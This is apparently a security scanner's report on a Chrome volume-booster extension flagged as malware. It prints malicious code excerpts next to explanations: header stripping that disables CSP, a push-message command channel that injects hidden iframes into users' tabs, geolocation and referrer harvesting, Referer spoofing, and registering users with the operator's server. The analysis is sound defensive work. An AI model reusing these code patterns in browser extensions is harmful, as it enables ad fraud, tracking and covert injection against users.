Security Alert: Confirmed Malware
Sound Booster Plus
ID: ipmlaaecoiapbecaaalooaocfkkmkbdh
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://volumebooster.phView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Increase system volume up to 1000% from the maximum level! Boost your system sound.
The Sound Booster is an extension that will allow you to increase the sound of your system. It can raise volume level up to 1000%. Features: - Increase the volume of the content being played up to 1000% - Works on all sites - Enable/Disable with single click How to use Sound booster Chrome extension: 1. Install the extension 2. Pin it in the toolbar 3. Click on the extension icon and enable the volume booster with toggle button. 4. Then, click on the extension icon and choose the Sound boost range. Recent Changes: Version 1.1.6 (24-September-2022): - Minor bug fix Version 1.1.4 (06-September-2022): - Bug fix - Improved UI Best Volume Master alternative. **Note: Please reload tabs after installing the extension to make it work.**
Uses declarativeNetRequest to strip X-Frame-Options, Frame-Options, and Content-Security-Policy response headers on main_frame/sub_frame/script requests. Removing CSP and frame-busting headers enables arbitrary third-party sites (including attacker-controlled content) to be iframed/injected into any page, which is classic ad-fraud/clickjacking/cookie-stuffing infrastructure.
let s = [{ priority: 1, action: { type: "modifyHeaders", responseHeaders: [{ header: "X-Frame-Options", operation: "remove" }, { header: "Frame-Options", operation: "remove" }, { header: "Content-Security-Policy", operation: "remove" }], requestHeaders: [{ header: "sec-fetch-dest", operation: "set", value: "document" }] }, condition: { resourceTypes: ["main_frame", "sub_frame", "script"] }}];Listens for Google Cloud Messaging (GCM) push messages from sender ID 442925115938 and acts on attacker-supplied JSON: if the link contains 'oibww' it silently injects the URL into a user's open tab as an iframe (via the cs.js 'sksmode:aurl' handler), if it contains 'oib' it opens a new tab, otherwise it shows a browser notification that navigates to the URL on click. This is a remote command-and-control channel that lets the publisher push arbitrary URLs to 115k users at will — the hallmark of push-notification / ad-injection malware.
chrome.gcm.onMessage.addListener((function(e) { var t = e.data.message; if ((t = JSON.parse(t))[0].id) { ... } image = t[0].image, t[0].link.search("oibww") > 0 ? (tabid = async function() { let e = { url: "http://*/*" }, [t] = await chrome.tabs.query(e); return t && t.id ? t.id : (e = { url: "https://*/*" }, [t] = await chrome.tabs.query(e), !(!t || !t.id) && t.id) }()) ? async function(e, t) { chrome.tabs.sendMessage(t, { sksmode: "aurl", aurl: e }) }(tabid, t[0].link): a("oibww_pending", t[0].link): t[0].link.search("oib") > 0 ? chrome.tabs.create({ url: t[0].link }) : function(e, t, n, o) { ... chrome.notifications.create(a, r, ... }(t[0].title, t[0].desc, t[0].link, image)The content script (running on <all_urls>) listens for an 'sksmode:aurl' message and injects a hidden iframe with an attacker-controlled URL into the host page's <head>, with allow-same-origin+allow-scripts+allow-forms, then removes it after 90 seconds. Combined with the CSP-stripping rule in bg.js, this allows the remote C2 operator (via GCM push) to silently load any page inside any site the user is visiting — enabling cookie stuffing, affiliate-link fraud, ad impression fraud, and potentially clickjacking.
chrome.runtime.onMessage.addListener((async function(e, t, n) { if ("aurl" == e.sksmode && e.aurl) { let t = function(e) { for (var t = "", n = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", r = n .length, i = 0; i < 10; i++) t += n.charAt(Math.floor(Math.random() * r)); return t }(), n = document.createElement("iframe"); n.setAttribute("sandbox", "allow-forms allow-same-origin allow-scripts"), n.setAttribute("id", t), n.src = e.aurl, document.getElementsByTagName("head")[0].appendChild(n), setTimeout(() => { document.getElementById(t) .remove() }, 9e4) }}))Background service worker fetches geolocation (country, city, zip) from a third-party IP geolocation API over cleartext HTTP and persists it to extension storage. This is unauthorized geographic profiling of users, unrelated to the extension's stated volume-boosting purpose, and uses HTTP which allows MITM tampering.
let e = await p("get", "location_data");if (e) return n = e;let t = await fetch("http://ip-api.com/json");if (t) { try { t = await t.json() } catch (e) { return } country = t.countryCode, city = t.city, zip = t.zip, country && p("set", { location_data: n = { country: country, city: city, zip: zip } })}A dynamic declarativeNetRequest rule spoofs the Referer header to 'https://chrome-extension.installed' for the voluebooster.ph domain. Forging Referer headers is a common affiliate-fraud / ad-attribution-laundering technique used to impersonate legitimate traffic sources to advertising or affiliate networks.
}(1, "voluebooster.ph", "https://chrome-extension.installed");On startup the extension generates a random 8-char 'extid', registers for GCM push with the operator's sender ID, and exfiltrates the (extid, gcmid) pair to volumebooster.ph/v3/regcm.php. This registers every user with the operator's C2 server so they can later be individually targeted with the push-message payloads handled above.
function h(e) { !async function(e) { "" != e && "undefined" != e && (await a("pushToken", e), await fetch( "https://volumebooster.ph/v3/regcm.php", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "extid=" + await r("extid") + "&gcmid=" + e })) }(e)}On every tab completion the extension uses chrome.scripting.executeScript against <all_urls> to read document.referrer from the loaded page. Harvesting referrer data for every page a user visits is browsing-history tracking that is unrelated to volume boosting.
function f() { return document && document.referrer}...chrome.tabs.onUpdated.addListener((async function(e, t, n) { let o = ""; "complete" == t.status && (n.url, await async function(e) { var t = new Promise((function(t, n) { try { chrome.scripting.executeScript({ target: { tabId: e }, func: f }, e => { e && e.length && e[0].result ? t(e[0].result) : t("") }) } catch (e) { t("") } })); return await t }(e))}))On install/update the extension force-injects cs.js into every currently open tab (across all http/https/file URLs) rather than waiting for natural navigation. This guarantees immediate reach of the iframe-injection message listener into pre-existing browsing sessions, including sensitive sites the user had open before install.
chrome.runtime.onInstalled.addListener((async function(e) { "install" == e.reason && (chrome.tabs.create({ url: "https://volumebooster.ph/?utm_source=extension" }), r("installedon", (new Date).getTime())), await s(), chrome.tabs.query({}, (function(e) { for (var t = 0; t < e.length; t++)(n = e[t].url) .match("https://chrome.google.com") || n.match("chrome://extensions") || !(n.match( "http://") || n.match("https://") || n.match("file:///")) || chrome.scripting .executeScript({ target: { tabId: e[t].id }, files: ["/js/cs.js"] }, null); var n }))}))Sets an uninstall URL that opens volumebooster.ph/uninstall on removal, which together with the extid registration enables the operator to correlate installs with uninstalls and track individual-user extension lifecycle on their own server.
chrome.runtime.setUninstallURL("https://volumebooster.ph/uninstall", ...)By severity
Versions scanned
Showing 1 of 10 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.1.7 | 9 |
Files with findings
2 distinct paths — top paths by unique finding count:
- js/bg.js8
- js/cs.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.